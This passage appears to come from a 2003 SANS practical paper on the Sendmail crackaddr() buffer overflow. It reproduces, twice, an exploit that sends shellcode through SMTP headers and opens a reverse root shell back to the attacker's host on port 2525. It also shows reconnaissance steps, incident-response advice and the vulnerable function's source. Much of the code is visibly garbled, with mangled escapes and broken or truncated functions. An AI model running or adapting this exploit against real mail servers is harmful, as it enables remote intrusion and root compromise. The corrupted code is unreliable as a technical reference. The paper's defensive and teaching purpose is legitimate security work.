    unsigned long ip;
    char abuf[4],amask[4],pbuf[2],pmask[2];
    if ((ip = inet_addr(host)) == -1) {
        struct hostent *hostm;
        if ((hostm=gethostbyname(host)) == NULL) {
            printf("Unable to resolve local address\n");
            exit(0);
        }
        memcpy((char*)&ip, hostm->h_addr, hostm->h_length);
    }
    abuf[3]=(ip>>24)&0xff;
    abuf[2]=(ip>>16)&0xff;
    abuf[1]=(ip>>8)&0xff;
    abuf[0]=(ip)&0xff;
    pbuf[0]=(port>>8)&0xff;
    pbuf[1]=(port)&0xff;
    findvalmask(abuf,amask,4);
    findvalmask(pbuf,pmask,2);
    memcpy(&code[33],abuf,4);
    memcpy(&code[38],amask,4);
    memcpy(&code[48],pbuf,2);
    memcpy(&code[53],pmask,2);
}

###The getrootprompt function will open a new server socket on port 2525 and prints out an error if it cannot bind to the port
void getrootprompt() {
    int sockfd,sin_size,tmpsock,i;
    struct sockaddr_in my_addr,their_addr;
    char szBuffer[1024];
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        printf("Error creating listening socket\n");
        return;
    }
    my_addr.sin_family = AF_INET;
    my_addr.sin_port = htons(LISTENPORT);
    my_addr.sin_addr.s_addr = INADDR_ANY;
    memset(&my_addr.sin_zero, 0, 8);
    if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
        printf("Error binding listening socket\n");
    }
}
###Issues the `uname -a` command on victim machine and sets up the keyboard
###of the hacking machine to be used as input device on the victim

```c
writesocket(tmpsock,"uname -a\n");
while(1) {
    fd_set readfs;
    FD_ZERO(&readfs);
    FD_SET(0,&readfs);
    FD_SET(tmpsock,&readfs);
    if(select(tmpsock+1,&readfs,NULL,NULL,NULL)) {
        int cnt;
        char buf[1024];
        if (FD_ISSET(0,&readfs)) {
            if ((cnt=read(0,buf,1024)) < 1) {
                if((errno==EWOULDBLOCK || errno==EAGAIN) continue; else {
                    printf("Connection closed\n");
                    return;
                }
            }
            write(tmpsock,buf,cnt);
        }
        if (FD_ISSET(tmpsock,&readfs)) {
            if ((cnt=read(tmpsock,buf,1024)) < 1) {
                if((errno==EWOULDBLOCK || errno==EAGAIN) continue; else {
                    printf("Connection closed\n");
                    return;
                }
            }
            write(1,buf,cnt);
        }
    }
}
close(tmpsock);
close(sockfd);
return;
}
```

###The program execution begins with the main function, it is within this function
###that the command line parameters are read in, if less than 3 parameters are
###given an usage error is displayed and the program exits. It is within this
###function that the previously defined functions are called

```c
int main(int argc, char **argv) {
    struct sockaddr_in server;
    unsigned long ipaddr,i,bf=0;
    int sock,target;
    char tmp[BUFSIZE],buf[BUFSIZE],*p;
    if (argc <= 3) {
        printf("%s <target ip> <myip> <target number> [bruteforce start addr]<n",argv[0]);
        printtargets();
        return 0;
    }
    target=atol(argv[3]);
    if (target < 0 || target >= maxarch) {
        printtargets();
        return 0;
    }
    if (argc > 4) sscanf(argv[4],"%x",&bf);

    header();

    ###The fixshellcode pushes the hacker ip address (myip passed from the
    ###command line) into the machine code, along with port 2525

    fixshellcode(argv[2],LISTENPORT);
    if (bf && !fork()) {
        getrootprompt();
        return 0;
    }

    ###The bfstart function creates a socket connection to port 25 (sendmail) on the
    ###victim

    bfstart:
    if (bf) {
        printf("Trying address 0x%x\n",bf);
        fflush(stdout);
    }
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        printf("Unable to create socket\n");
        exit(0);
    }
    server.sin_family = AF_INET;
    server.sin_port = htons(25);
    if (!bf) {
        printf("Resolving address... ");
        fflush(stdout);
    }
    if ((ipaddr = inet_addr(argv[1])) == -1) {
        struct hostent *hostm;
        if ((hostm=gethostbyname(argv[1])) == NULL) {
            printf("Unable to resolve address\n");
            exit(0);
        }
```

© SANS Institute 2003, Author retains full rights.
### Here the SMTP connection to the victim is made

readsocket(sock,220);
writesocket(sock,"HELO yahoo.com\n\n");
readsocket(sock,250);
writesocket(sock,"MAIL FROM: spiderman@yahoo.com\n\n");
readsocket(sock,250);
writesocket(sock,"RCPT TO: MAILER-DAEMON\n\n");
readsocket(sock,250);
writesocket(sock,"DATA\n\n");
readsocket(sock,354);
memset(buf,0,sizeof(buf));

### Here the angle brackets are inserted into machine code

p=buf;
for (i=0;i<archs[target].angle;i++) {
    *p++='<';
    *p+='>';
}
*p++='(';

### 1 nop loaded into array

for (i=0;i<archs[target].nops;i++) *p++=0xf8;
*p++='I';
*p++=((char*)&archs[target].aptr)[0];
*p++=((char*)&archs[target].aptr)[1];
*p++=((char*)&archs[target].aptr)[2];
*p++=((char*)&archs[target].aptr)[3];
*p++=0;
sprintf(tmp,"Full-name: %s\n\n",buf);
writesocket(sock,tmp);
sprintf(tmp,"From: %s\n\n",buf);
writesocket(sock,tmp);

p=buf;
archs[target].aptr+=4;
*p++=((char*)archs[target].aptr)[0];
*p++=((char*)archs[target].aptr)[1];
*p++=((char*)archs[target].aptr)[2];
*p++=((char*)archs[target].aptr)[3];

###20 nops loaded into array

for (i=0;i<0x14;i++) *p++=0xf8;
archs[target].aptr+=0x18;
*p++=((char*)archs[target].aptr)[0];
*p++=((char*)archs[target].aptr)[1];
*p++=((char*)archs[target].aptr)[2];
*p++=((char*)archs[target].aptr)[3];

###76 0x01's loaded into array

for (i=0;i<0x4c;i++) *p++=0x01;
archs[target].aptr+=0x4c+4;
*p++=((char*)archs[target].aptr)[0];
*p++=((char*)archs[target].aptr)[1];
*p++=((char*)archs[target].aptr)[2];
*p++=((char*)archs[target].aptr)[3];

###8 more nops loaded into array

for (i=0;i<0x8;i++) *p++=0xf8;
archs[target].aptr+=0x08+4;
*p++=((char*)archs[target].aptr)[0];
*p++=((char*)archs[target].aptr)[1];
*p++=((char*)archs[target].aptr)[2];
*p++=((char*)archs[target].aptr)[3];

###32 more nops loaded into array

for (i=0;i<0x20;i++) *p++=0xf8;

###This is where the machine code gets sent to target machine

for (i=0;i<strlen(code);i++) *p++=code[i];
*p++=0;
sprintf(tmp,"Subject: AAAAAAAAAAAA%s\n\n",buf);
writesocket(sock,tmp);
writesocket(sock,".
");
if (!bf) {
    printf("Exploit sent!\n");
    printf("Waiting for root prompt...\n");
}

###Here the code checks for a SMTP 451 error

```c
```
if (readutil(sock,451)) printf("Failed!
");
else getrootprompt();
}
else {
    readutil(sock,451);
    close(sock);
    bf+=4;
    goto bfstart;
}
}

Source code can be found at:
http://www.securityfocus.com/bid/6991/exploit/

**Additional Information**

Further information on this Sendmail vulnerability can be found at the following websites:
http://www.securityfocus.com/archive/1/313757/2003-03-01/2003-03-07/0
http://www.securityfocus.com/bid/6991
https://gtoc.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21950
http://securecomputing.stanford.edu/alerts/sendmail-vuln.html
http://news.zdnet.co.uk/story/0,0,t281-s2131349,00.html

**Closing comments**

Any attack will start with reconnaissance. Finding a host with port 25 open is a trivial task. Most companies rely heavily on email and will have a mail host open to the public. There are many reconnaissance tools available for an attacker to use; for this discussion only 3 tools were needed to establish the target; nmap, xprobe and telnet (although telnet is not really a tool per se, it was used as one here).

There are methods an attacker can use to find a mail host for a domain without sending any traffic to the host. One such method is to do a look up on the Internet, using publicly available sites such as http://www.internic.com/whois.html or http://www.senderbase.com/. In addition to that, nslookup is also a very good tool to use, ‘nslookup –q=mx victim.com’ will return the registered mail exchange for the domain, sample output is shown below:

```
$ nslookup -q=mx us.com
Server:  hacker.us.com
Address:  10.10.10.20

Non-authoritative answer:
us.com preference = 10, mail exchanger = victim.us.com

Authoritative answers can be found from:
```
Nmap is used to scan a host or list of hosts or subnets to find the ports that are listening (ports that are open and will allow connections). For this discussion nmap was run against a single host and produced the report below. This revealed the victim has port 25 listening (as well as a few others that are inviting targets):

Starting nmap 3.27 ( www.insecure.org/nmap/ ) at 2003-06-03 04:28 CDT
Interesting ports on victim.us.com (10.10.10.10):
(The 1613 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp
22/tcp     open        ssh
23/tcp     open        telnet
25/tcp     open        smtp
80/tcp     open        http
111/tcp    open        sunrpc
443/tcp    open        https
697/tcp    open        unknown
1720/tcp   filtered    H.323/Q.931
32770/tcp  open        sometimes-rpc3

No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).
TCP/IP fingerprint:
Uptime 26.607 days (since Wed May  7 13:56:01 2003)
Nmap run completed -- 1 IP address (1 host up) scanned in 53.017 seconds

Based on the results from nmap, the attackers have established a target is open on port 25, but nmap did not identify the Operating System (OS), for this xprobe was used. Xprobe is an OS fingerprinting tool that uses the ICMP protocol to identify the OS of a host. Xprobe generated the below report showing the operating system is using the Linux 2.0 kernel:

```
# ./xprobe 10.10.10.10
X probe ver. 0.0.2
------------------
Interface: hme0/10.10.10.20

LOG: Target: 10.10.10.10
LOG: Netmask: 255.255.255.255
```
LOG: probing: 10. 10.10.10
LOG: [send]-> UDP to 10. 10.10:32132
LOG: [98 bytes] sent, waiting for response.
FINAL: [ Linux kernel 2.0.x ]

All that is left is to establish what service is running on the listening port 25. This is easily done by simply telneting to that address/port and unless the administrator has taken the time and effort to munge or obfuscate the version, the information needed will be presented upon connection (note that the victim supports ESMTP which is an SMTP extension that will allow for an authentication protocol exchange):

```
# telnet 10. 10.10.10 25
Trying 10. 10.10.10...
Connected to 10.194.12.84.
Escape character is '^]'.
quit
221 2.0.0 victim.us.com closing connection
Connection closed by foreign host.
```

In less time than it took to write the above the attackers found a target, discovered the OS and determined what version of Sendmail they will need to exploit. The exploit can be found with a quick search on Google (http://www.google.com) and the source downloaded and compiled. I entered the keywords “linux sendmail exploit” in Google and it returned with 50,000 plus results.

Sendmail accounts for 50 – 70% of the MTA’s on the Internet (http://www.computerworld.com/securitytopics/security/holes/story/0,10801,78991,00.html). The exploit covered above and its variants help to illustrate the premise of this paper, in that; Sendmail is an inviting target that is using port 25 SMTP. CERT® Advisory CA-2003-12 and CERT® Advisory CA-2003-07 came out within 30 days of each other and forced administrators to apply patches or upgrades to their mail hosts. This type of activity consumes a lot of time, resources and money. It is also frustrating for the average administrator who is stressed for time and budget anyway. As noted previously, email is one of the heaviest used applications on the network. Shutting down port 25 is not an attractive option.

The likelihood of new exploits being discovered in the future is very high. With the source code available to anyone, and the complexity of the product, I believe there are unexposed vulnerabilities still to be found and exploited.

So what is an administrator to do? Following the PICERL (Preparation, Identification, Containment, Eradication, Recovery and Lessons learned) steps outlined below will help mitigate the risk of doing business on the Internet.

**Preparation**

Incident response must be approached with a ‘eyes-wide-open’ attitude. Be prepared to respond when (not if) an incident of this nature occurs. Polices
and procedures to deal with incidents should be in place and ready to be used before an incident occurs. These policies and procedures should address the steps below, be readily available (the response team should be very familiar with these procedure and policies and know where they can lay hands upon them in an emergency). It is a good practice to have response exercises where these policies and procedures are used and updated. In the exploit covered in this paper the response team should have gone to the policies to find the approved methods of dealing with this type of incidence and followed the procedure stated in the policy.

You should have an incident response team already assembled that is ready to respond once the intrusion is recognized. The team should have a management sponsor that has the appropriate authority to allow the response team to react to the situation and perform the triage required to contain the damage. The management sponsor should also be prepared to interact with other management to keep the other team members focused on the task at hand (containment, eradication and repair), basically run interference. The team also needs to have members with the skills needed to eradicate and repair any damage caused by the attack, i.e.; system administrators, hardware support personnel, network administrators and a member to deal with forensic diagnosis. The team should include a public relations representative to speak to any public disclosure needed. This member’s visibility can be critical depending on the type of business the company performs. For example; if a banking institute has an intrusion, public disclosure can bring distrust from customers, cause them to withdraw their accounts, and create a loss of business that could be crippling. A new California law requiring companies to notify their customers of computer security breaches applies to any online business that counts Californians as customers, even if the company isn't based in the Golden State (http://www.theregister.co.uk/content/55/28760.html). While being current on patch levels will protect against the known vulnerabilities, it cannot protect against a day-zero exploit; only proper preparation will be effective against the unknown.

The team should have a prepackaged jump kit that includes items such as clean install media for operating systems and applications, spare hardware (hard-drives), cables(serial cables, null modem cables etc), backup media and devices(tapes, tape drives), a cdrom with utilities (from a known good source) needed to properly diagnose the state of the machine in question.

Identification

There should be a process in place to monitor logs diligently, looking for anomalies that can identify events that can be, or are, incidents. System logs, intrusion detection systems, firewall logs etc. can all be used to help identify significant events that turn into incidents. Activities such as network scanning can be warnings of an impending intrusion attempt or system compromise. They should not be taken lightly or discounted. The sooner an event is identified, the quicker you can respond and contain the damage. There are tools available to
help in this endeavor, for example Snort and ISS’s Real secure are 2 intruder detection system that use signatures to trigger alerts if activity of interest occur on the systems they monitor.

The identification of the exploit above would have been made when monitoring the log files. The traces left from the exploit would tip off an alert administrator and trigger further investigation. In addition, if an IDS (Intrusion Detection System) is being employed it can be configure to trigger an alert for this type of activity. There are some new products hitting the market that will do behavior modeling that show potential to help in the identification process. Cisco systems now have NBAR (Network-Based Application Recognition) that is available with ISO version 12.0 and above and will allow the border routers to aid in stopping this type of exploit.

**Containment**

Contain the situation; make sure the incident cannot spread beyond the point of detection and cause further damage. Damage control may cause some pain to the business if machines are taken off line during the containment process. A proper risk analysis may be required by your business sponsor to determine the degree of containment you will be allowed to enforce.

Containment of this exploit would require that the mail host be taken off-line and external email would not be available for the duration. As a result, important email would be delayed until the situation was resolved. If you can afford to have an extra machine as a cold stand-by(a duplicate machine that is off-line) this down time can be greatly reduced by applying the required patches an bringing the stand-by online.

**Eradication**

Eradication of the incident may consist of simply standing up a fresh installation of the compromised computer; however, mitigating circumstance may require certain data to be recovered from the compromised machine. Extra diligence is required when recovering anything from a compromised machine, a Trojan backdoor can be hidden with relative ease. This could nullify the eradication process and open the new machine to compromise. Prior to the eradication a backup of the disk should be created for forensic use. Your company security policy should clearly state your posture on what to do once an incident occurs, i.e.: protect and proceed vs. pursue and prosecute, as this will dictate to what degree the evidence will have to be maintained. If you intend to prosecute an intruder, you will have to take extra caution to preserve the chain of custody as well as the integrity of the data.

This exploit would require a fresh install; as a result any mail in the queues would either be lost or have to be recovered from the compromised system.

**Recovery**
Once the system has been restored and patched, the verification process can begin. The business unit (application owner) should be involved in the testing of the recovered machine, as it will be up to them to verify that the machine and applications have been restored properly and are working as designed. It is important to get owner sign-off on this process to ensure they are informed and engaged in the process. Once the verification is complete the machine can be placed back into service. It must be monitored intensely for activity that caused the original compromise (the modus-operandi of most hackers is to revisit the scene of the crime).

Lessons Learned

A follow up report will need to be given to the management sponsor as soon as possible following the incident. The on-site team that responded to the incident should submit the report. During the response mistakes will be made and should be documented to avoid repeats. The report should include the activities performed in the steps above.

The above steps are important to maintain a security posture that will enable you to assure your network a degree of comfort and safety; however, it is imperative you stay current on all patches. You must keep abreast of newly release vulnerabilities by subscribing to bulletins,\(^\text{http://www.cert.org/contact_cert/certmaillist.html}\) news groups and websites that publish news on computer security.

Be prepared, know compromises will happen and be ready to respond. Ensure the system administrators are fully engaged in the process of security in their theater of concern and are familiar with the hosts or servers they administer. The system administrators are critical in the identification process and must exercise due diligence in monitoring the logs for anomalies, looking for processes that don’t belong, identifying new or unknown users and identifying unusual services or listening ports. The network and firewall administrators are also critical in early detection. They can pick up on reconnaissance activities that indicate your network is being targeted for exploitation.
References


SANS Institute and Ed Skoudis Computer and Network Hacker Exploits (track 4) (4 May 2003)


“127 Research and Development” URL: http://www.7f.no-ip.com/ (28 May 2003)

“Sendmail FAQ, Section 2” URL: http://www.sendmail.org/faq/section2.html - 2.7 (21 May 2003)

Verton, Dan “Sendmail exploit code posted on hacker site” URL: http://www.computerworld.com/securitytopics/security/holes/story/0,10801,79021,00.html (22 May 2003)

Verton, Dan “Major Internet vulnerability discovered in e-mail protocol” URL: http://www.computerworld.com/securitytopics/security/holes/story/0,10801,78991,00.html (29 May 2003)


Poulsen, Kevin “California disclosure law has national reach“ URL: http://www.theregister.co.uk/content/55/28760.html (10 June 2003)


Aleph One "Smashing The Stack For Fun And Profit by Aleph One “ URL: http://destroy.net/machines/security/P49-14-Aleph-One (29 May 2003)

Online Docs "GNU Compiler Collection (GCC) Internals" URL: http://gcc.gnu.org/onlinedocs/gccint/Trampolines.html


“sendmail Header Processing Vulnerability”  

“Senior Systems Administrator’s Journal”  

Alarcon, Stephanie “Port 25 (SMTP)-Remote Sendmail Header Processing Vulnerability: Exploiting the Internet’s Second Most Popular Pastime”  
Appendix A

The crackaddr function from Sendmail version 8.12.7

** CRACKADDR -- parse an address and turn it into a macro
**
** This doesn't actually parse the address -- it just extracts
** it and replaces it with "\$g". The parse is totally ad hoc
** and isn't even guaranteed to leave something syntactically
** identical to what it started with. However, it does leave
** something semantically identical.
**
** This algorithm has been cleaned up to handle a wider range
** of cases -- notably quoted and backslash escaped strings.
** This modification makes it substantially better at preserving
** the original syntax.
**
** Parameters:
**    addr -- the address to be cracked.
**
** Returns:
**    a pointer to the new version.
**
** Side Effects:
**    none.
**
** Warning:
**    The return value is saved in local storage and should
**    be copied if it is to be reused.
*/

char *
crackaddr(addr)
    register char *addr;
{
    register char *p;
    register char c;
    int cmtlev;
    int realcmtlev;
    int anglelev, realanglelev;
    int copylev;
    int bracklev;
    bool qmode;
    bool realqmode;

bool skipping;
bool putgmac = false;
bool quoteit = false;
bool gotangle = false;
bool gotcolon = false;
register char *bp;
char *buflim;
char *bufhead;
char *addrhead;
static char buf[MAXNAME + 1];

if (TTd(33, 1))
    sm_dprintf("crackaddr(%s)\n", addr);

/* strip leading spaces */
while (*addr != '\0' && isascii(*addr) && isspace(*addr))
    addr++;

/*
 ** Start by assuming we have no angle brackets. This will be
 ** adjusted later if we find them.
 */

bp = bufhead = buf;
buflim = &buf[sizeof buf - 7];
p = addrhead = addr;
copylev = anglelev = realanglelev = cmtlev = realcmtlev = 0;
bracklev = 0;
qmode = realqmode = false;

while ((c = *p++) != '\0')
{
    /*
     ** If the buffer is overful, go into a special "skipping"
     ** mode that tries to keep legal syntax but doesn't actually
     ** output things.
     */

    skipping = bp >= buflim;

    if (copylev > 0 && !skipping)
        *bp++ = c;

    /* check for backslash escapes */
    if (c == '\\')
    {
/* arrange to quote the address */
if (cmtlev <= 0 && !qmode)
    quoteit = true;

if ((c = *p++) == '\0')
{
    /* too far */
    p--;
    goto putg;
}
if (copylev > 0 && !skipping)
    *bp++ = c;
    goto putg;
}

/* check for quoted strings */
if (c == '"' && cmtlev <= 0)
{
    qmode = !qmode;
    if (copylev > 0 && !skipping)
        realqmode = !realqmode;
        continue;
}
if (qmode)
    goto putg;

/* check for comments */
if (c == '(')
{
    cmtlev++;
    /* allow space for closing paren */
    if (!skipping)
    {
        buflim--;
        realcmtlev++;
        if (copylev++ <= 0)
        {
            if (bp != bufhead)
                "bp++ = ' ';
            *bp++ = c;
        }
    }
}
if (cmtlev > 0)
{

if (c == ')')
{
    cmtlev--;
    copylev--;
    if (!skipping)
    {
        realcmtlev--;
        buflim++;
    }
}
continue;
}
else if (c == ')')
{
    /* syntax error: unmatched ) */
    if (copylev > 0 && !skipping)
        bp--;
}
/* count nesting on [ ... ] (for IPv6 domain literals) */
if (c == '[')
    bracklev++;
else if (c == ']
    bracklev--;
/* check for group: list; syntax */
if (c == ':' && anglelev <= 0 && bracklev <= 0 && !gotcolon && !ColonOkInAddr)
{
    register char *q;

    /*
    ** Check for DECnet phase IV ````` (host::user)
    ** or ** DECnet phase V ````` syntaxes. The latter
    ** covers ```user@DEC::.tay.myhost`` and
    ** ```DEC::.tay.myhost::user``` syntaxes (bletch).
    */

    if (*p == ':' || *p == '.
    {
        if (cmtlev <= 0 && !qmode)
            quoteit = true;
        if (copylev > 0 && !skipping)
        {
            *bp++ = c;
            *bp++ = *p;
} 
  p++; 
  goto putg;
}

gotcolon = true;

bp = bufhead;
if (quoteit)
{
  *bp++ = '';

  /* back up over the ':' and any spaces */
  --p;
  while (isascii(*--p) && isspace(*p))
    continue;
  p++;
}
for (q = addrhead; q < p; )
{
  c = *q++; 
  if (bp < buflim)
  {
    if (quoteit && c == '')
      *bp++ = '\';
    *bp++ = c;
  }
}
if (quoteit)
{
  if (bp == &bufhead[1])
    bp--;
  else
    *bp++ = '';
  while ((c = *p++) != ':')
  {
    if (bp < buflim)
      *bp++ = c;
  }
  *bp++ = c;
}

/* any trailing white space is part of group: */
while (isascii(*p) && isspace(*p) && bp < buflim)
  *bp++ = *p++;

copylev = 0;
putgmac = quoteit = false;
bufhead = bp;
addrhead = p;
continue;
}

if (c == ';' && copylev <= 0 && !ColonOkInAddr)
{
    if (bp < buflim)
        *bp++ = c;
}

/* check for characters that may have to be quoted */
if (strchr(MustQuoteChars, c) != NULL)
{
    /*
    ** If these occur as the phrase part of a <>
    ** construct, but are not inside of () or already
    ** quoted, they will have to be quoted.  Note that
    ** now (but don't actually do the quoting).
    */
    if (cmtlev <= 0 && !qmode)
        quoteit = true;
}

/* check for angle brackets */
if (c == '<')
{
    register char *q;

    /* assume first of two angles is bogus */
    if (gotangle)
        quoteit = true;
    gotangle = true;

    /* oops -- have to change our mind */
    anglelev = 1;
    if (!skipping)
        realanglelev = 1;

    bp = bufhead;
    if (quoteit)
    {
        *bp++ = '"';
    

/* back up over the '<' and any spaces */
--p;
while (isascii(*--p) && isspace(*p))
continue;
p++;
}
for (q = addrhead; q < p; )
{
    c = *q++;
    if (bp < buflim)
    {
        if (quoteit && c == "")
            *bp++ = '\';
        *bp++ = c;
    }
}
if (quoteit)
{
    if (bp == &buf[1])
        bp--;
    else
        *bp++ = "";
    while ((c = *p++) != '<')
    {
        if (bp < buflim)
            *bp++ = c;
    }
    *bp++ = c;
}
copylev = 0;
putgmac = quoteit = false;
continue;
}
if (c == '>')
{
    if (anglelev > 0)
    {
        anglelev--;
        if (!skipping)
        {
            realanglelev--;
            buflim++;
        }
    }
    else if (!skipping)
{
    /* syntax error: unmatched > */
    if (copylev > 0)
    {
        bp--; 
        quoteit = true;
        continue;
    }
    if (copylev++ <= 0)
    {
        *bp++ = c;
        continue;
    }

    /* must be a real address character */
    putg:
    if (copylev <= 0 && !putgmac)
    {
        if (bp > bufhead && bp[-1] == ')
        {
            *bp++ = '; 
            *bp++ = MACROEXPAND;
            *bp++ = 'g';
            putgmac = true;
        }
    }

    /* repair any syntactic damage */
    if (realqmode)
    {
        *bp++ = "";
        while (realcmtlev-- > 0)
        {
            *bp++ = ');
        }
        while (realanglelev-- > 0)
        {
            *bp++ = '>'; 
            *bp++ = "0";
        }
    }
    if (tTd(33, 1))
    {
        sm_dprintf("crackaddr=>`");
        xputs(buf);
        sm_dprintf("'
");
    }

    return buf;
}
Appendix B

/* Sendmail <8.12.8 crackaddr() exploit by bysin */
/* from the l33tsecurity crew */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

int maxarch=1;
struct arch {
    char *os;
    int angle,nops;
    unsigned long aptr;
}
archs[] = {
    {"Slackware 8.0 with sendmail 8.11.4",138,1,0xbfffbe34}
};

#define LISTENPORT 2525
#define BUFSIZE 4096

char code[]="
xeb\x02" /* jmp <shellcode+4> */
"xeb\x08" /* jmp <shellcode+12> */
"xe8xf9xffxffxff" /* call <shellcode+2> */
"xcd\x7f" /* int $0x7f */
"xc3" /* ret */
"x5f" /* pop %edi */
"xff\x47\x01" /* incl 0x1(%edi) */
"x31xc0" /* xor %eax,%eax */
"x50" /* push %eax */
"x6a\x01" /* push $0x1 */
"x6a\x02" /* push $0x2 */
"x54" /* push %esp */
"x59" /* pop %ecx */
"xb0\x66" /* mov $0x66,%al */
"x31xdb" /* xor %ebx,%ebx */
"x43" /* inc %ebx */
"xff\xd7" /* call *%edi */
"xbaxffxffxffxff" /* mov $0xffffff,%edx */
"xb9xffxffxffxff" /* mov $0xffffff,%ecx */
"x31xca" /* xor %ecx,%edx */
"x52" /* push %edx */
"xba\xff\xff\xff\xff" /* mov $0xffffffff,%edx */
"xb9\xff\xff\xff\xff" /* mov $0xffffffff,%ecx */
"x31\xca" /* xor %ecx,%edx */
"x52" /* push %edx */
"xbaxdfxffxffxff" /* mov $0xffffffff,%edx */
"xb9xffxffxffxff" /* mov $0xffffffff,%ecx */
"x31\xca" /* xor %ecx,%edx */";
void header() {
    printf("nSendmail <8.12.8 crackaddr() exploit by bysin\n");
    printf(" from the l33tsecurity crew \n\n");
}

void printtargets() {
    unsigned long i;
    header();
    printf("Target\tAddr\tOS\n");
    printf("-------------------------------------------\n");
    for (i=0;i<maxarch;i++) printf("%d\t0x%08x\t%s\n",i,archs[i].aptr,archs[i].os);
} 

void writesocket(int sock, char *buf) {
    if (send(sock,buf,strlen(buf),0) <= 0) {
        /* push %edx */
        /* push %esp */
        /* push %esi */
        /* push $0x10 */
        /* push %esi */
        /* push %eax */
        /* push %eax */
        /* pop %esi */
        /* push %esp */
        /* pop %ecx */
        /* mov $0x66,%al */
        /* push $0x3 */
        /* pop %ebx */
        /* push %esi */
        /* push %esi */
        /* push $0x10 */
        /* push %esi */
        /* push %esp */
        /* pop %ecx */
        /* mov $0x66,%al */
        /* push $0x3f,%al */
        /* xor %ecx,%ecx */
        /* mov $0xb,%al */
        /* push half of shellcode */
        /* inc %ecx */
        /* push %eax */
        /* push %eax */
        /* push %eax */
        /* push %eax */
        /* push %eax */
        /* push %eax */
        /* xor %edx,%edx */
        /* mov $0xb,%al */
        /* push $0x68732f2f */
        /* push $0x6e69622f */
        /* push %esp */
        /* pop %ebx */
        /* pop %ebx */
        /* push %esp */
        /* pop %ecx */
        /* xor %ecx,%ecx */
        /* mov %esp */
    }
```c
int readutil(int sock, int response) {
    char temp[BUFSIZE], *str;
    while(1) {
        fd_set readfs;
        struct timeval tm;
        FD_ZERO(&readfs);
        FD_SET(sock, &readfs);
        tm.tv_sec = 1;
        tm.tv_usec = 0;
        if(select(sock + 1, &readfs, NULL, NULL, &tm) <= 0) return 0;
        memset(temp, 0, sizeof(temp));
        if (recv(sock, temp, sizeof(temp), 0) <= 0) {
            printf("Error reading from socket\n");
            exit(0);
        }
        str=(char*)strtok(temp, ";\n");
        while(str && *str) {
            if (atol(str) == response) return 1;
            str=(char*)strtok(NULL, ";\n");
        }
    }
}

#define NOTVALIDCHAR(c) (((c)==0x00)||((c)==0x0d)||((c)==0x0a)||((c)==0x22)||((c)==0x24)||((c)==0x25)||((c)==0x7f)||((c)&0x7f)==0x24)||((c)>0x80))

void findvalmask(char* val, char* mask, int len) {
    int i;
    unsigned char c, m;
    for(i=0; i<len; i++) {
        c=val[i];
        m=0xff;
        while(NOTVALIDCHAR(c&m)||NOTVALIDCHAR(m)) m--;
        val[i]=c&m;
        mask[i]=m;
    }
}
void fixshellcode(char *host, unsigned short port) {
    unsigned long ip;
    char abuf[4], amask[4], pbuf[2], pmask[2];
    if ((ip = inet_addr(host)) == -1) {
        struct hostent *hostm;
        if ((hostm = gethostbyname(host)) == NULL) {
            printf("Unable to resolve local address\n");
            exit(0);
        }
        memcpy((char *)&ip, hostm->h_addr, hostm->h_length);
    }
    abuf[3] = (ip >> 24) & 0xff;
    abuf[2] = (ip >> 16) & 0xff;
    abuf[1] = (ip >> 8) & 0xff;
    abuf[0] = (ip) & 0xff;
    pbuf[0] = (port >> 8) & 0xff;
    pbuf[1] = (port) & 0xff;
    findvalmask(abuf, amask, 4);
    findvalmask(pbuf, pmask, 2);
    memcpy(&code[33], abuf, 4);
    memcpy(&code[38], amask, 4);
    memcpy(&code[48], pbuf, 2);
    memcpy(&code[53], pmask, 2);
}

void getrootprompt() {
    int sockfd, sin_size, tmpsock, i;
    struct sockaddr_in my_addr, their_addr;
    char szBuffer[1024];
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        printf("Error creating listening socket\n");
        return;
    }
    my_addr.sin_family = AF_INET;
    my_addr.sin_port = htons(LISTENPORT);
    my_addr.sin_addr.s_addr = INADDR_ANY;
    memset(&(my_addr.sin_zero), 0, 8);
    if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
        printf("Error binding listening socket\n");
        return;
    }
    if (listen(sockfd, 1) == -1) {
        printf("Error listening on listening socket\n");
        return;
    }
    sin_size = sizeof(struct sockaddr_in);
    if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) {
        printf("Error accepting on listening socket\n");
        return;
    }
    writesocket(tmpsock, "uname -a\n");
    while(1) {
        fd_set readsfs;
        FD_ZERO(&readsfs);
        FD_SET(0, &readsfs);
        
    }
}
FD_SET(tmpsock,&readfs);
if(select(tmpsock+1,&readfs,NULL,NULL,NULL)) {
    int cnt;
    char buf[1024];
    if (FD_ISSET(0,&readfs)) {
        if ((cnt=read(0,buf,1024)) < 1) {
            if (errno==EWOULDBLOCK ||
                errno==EAGAIN) continue;
        } else {
            printf("Connection closed\n");
            return;
        }
        write(tmpsock,buf,cnt);
    }
    if (FD_ISSET(tmpsock,&readfs)) {
        if ((cnt=read(tmpsock,buf,1024)) < 1) {
            if (errno==EWOULDBLOCK ||
                errno==EAGAIN) continue;
        } else {
            printf("Connection closed\n");
            return;
        }
        write(1,buf,cnt);
    }
    close(tmpsock);
    close(sockfd);
    return;
}

int main(int argc, char **argv) {
    struct sockaddr_in server;
    unsigned long ipaddr,i,bf=0;
    int sock,target;
    char tmp[BUFSIZE],buf[BUFSIZE],*p;
    if (argc <= 3) {
        printf("%s <target ip> <myip> <target number> [bruteforce start
addr]n",argv[0]);
        printtargets();
        return 0;
    }
    target=atol(argv[3]);
    if (target < 0 || target >= maxarch) {
        printtargets();
        return 0;
    }
    if (argc > 4) sscanf(argv[4],"%x",&bf);
    header();
    fixshellcode(argv[2],LISTENPORT);
    if (bf && !fork()) {
        getrootprompt();
    }
}
return 0;
}

bfstart:
if (bf) {
    printf("Trying address 0x%x\n",bf);
    fflush(stdout);
}

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    printf("Unable to create socket\n");
    exit(0);
}

